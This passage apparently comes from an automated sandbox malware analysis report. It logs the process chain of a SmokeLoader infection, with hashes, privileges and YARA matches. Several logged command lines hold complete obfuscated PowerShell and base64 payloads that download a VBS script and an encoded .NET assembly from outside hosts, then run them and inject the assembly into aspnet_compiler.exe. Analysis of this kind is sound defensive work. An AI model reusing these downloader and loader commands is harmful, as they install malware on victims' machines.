pbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))"
Imagebase:	0x13fdb0000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:21:38
Start date:	18/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe
Imagebase:	0x13fdb0000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:21:40
Start date:	18/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.cmdline"
Imagebase:	0x13f040000
File size:	2'758'280 bytes
MD5 hash:	23EE3D381CFE3B9F6229483E2CE2F9E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:21:41
Start date:	18/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2B07.tmp" "c:\Users\user\AppData\Local\Temp\03wlztsz\CSC280AB7AC39534067B2898716E8B346.TMP"
Imagebase:	0x13fc80000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:21:46
Start date:	18/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS"
Imagebase:	0xffec0000
File size:	168'960 bytes
MD5 hash:	045451FA238A75305CC26AC982472367
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:21:48
Start date:	18/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x13fdb0000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	12:21:50
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" -Embedding
Imagebase:	0x2f0000
File size:	2'525'680 bytes
MD5 hash:	2F8D93826B8CBF9290BC57535C7A6817
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:21:50
Start date:	18/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','\|').rEPlaCE('seY','$')\| . ((gV 'Mdr').nAmE[3,11,2]-jOIN'')"
Imagebase:	0x13fdb0000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	12:21:55
Start date:	18/11/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\mshta.exe -Embedding
Imagebase:	0x13fdd0000
File size:	13'824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	12:21:59
Start date:	18/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))"
Imagebase:	0x13fdb0000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 3296, Parent PID: 1432

General

Target ID:	21
Start time:	12:22:00
Start date:	18/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe
Imagebase:	0x13fdb0000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: csc.exePID: 3532, Parent PID: 1432

General

Target ID:	22
Start time:	12:22:03
Start date:	18/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mffkkngw\mffkkngw.cmdline"
Imagebase:	0x13f520000
File size:	2'758'280 bytes
MD5 hash:	23EE3D381CFE3B9F6229483E2CE2F9E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	12:22:04
Start date:	18/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES845C.tmp" "c:\Users\user\AppData\Local\Temp\mffkkngw\CSC9E50345C585C4EFF867E1FFD2050D1A6.TMP"
Imagebase:	0x13f3b0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	12:22:08
Start date:	18/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS"
Imagebase:	0xff2f0000
File size:	168'960 bytes
MD5 hash:	045451FA238A75305CC26AC982472367
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 3556, Parent PID: 3592

General

Target ID:	26
Start time:	12:22:08
Start date:	18/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x13fdb0000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: powershell.exePID: 3836, Parent PID: 3556

General

Target ID:	28
Start time:	12:22:12
Start date:	18/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','\|').rEPlaCE('seY','$')\| . ((gV 'Mdr').nAmE[3,11,2]-jOIN'')"
Imagebase:	0x13fdb0000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: aspnet_compiler.exePID: 1932, Parent PID: 2104

General

Target ID:	29
Start time:	12:22:16
Start date:	18/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Imagebase:	0xd0000
File size:	55'384 bytes
MD5 hash:	A1CC6D0A95AA5C113FA52BEA08847010
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	12:22:16
Start date:	18/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Imagebase:	0xd0000
File size:	55'384 bytes
MD5 hash:	A1CC6D0A95AA5C113FA52BEA08847010
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001E.00000002.522714130.00000000000C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000001E.00000002.522714130.00000000000C0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001E.00000002.522844560.00000000001F1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000001E.00000002.522844560.00000000001F1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	12:22:21
Start date:	18/11/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0xff2f0000
File size:	3'229'696 bytes
MD5 hash:	38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	12:22:36
Start date:	18/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Imagebase:	0x2c0000
File size:	55'384 bytes
MD5 hash:	A1CC6D0A95AA5C113FA52BEA08847010
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000022.00000002.567719148.0000000000261000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	12:22:41
Start date:	18/11/2024
Path:	C:\Windows\System32\taskeng.exe
Wow64 process (32bit):	false
Commandline:	taskeng.exe {D690A31F-6F9A-4F5C-9D7D-F0EC28BCB101} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Imagebase:	0xff6a0000
File size:	464'384 bytes
MD5 hash:	65EA57712340C09B1B0C427B4848AE05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	12:22:42
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Roaming\vtjrhji
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\vtjrhji
Imagebase:	0xf70000
File size:	55'384 bytes
MD5 hash:	A1CC6D0A95AA5C113FA52BEA08847010
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	12:22:43
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0xc70000
File size:	2'972'672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	12:22:45
Start date:	18/11/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0xff2f0000
File size:	3'229'696 bytes
MD5 hash:	38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	12:22:46
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0xc70000
File size:	2'972'672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	12:22:48
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0xc70000
File size:	2'972'672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	12:22:49
Start date:	18/11/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0xff2f0000
File size:	3'229'696 bytes
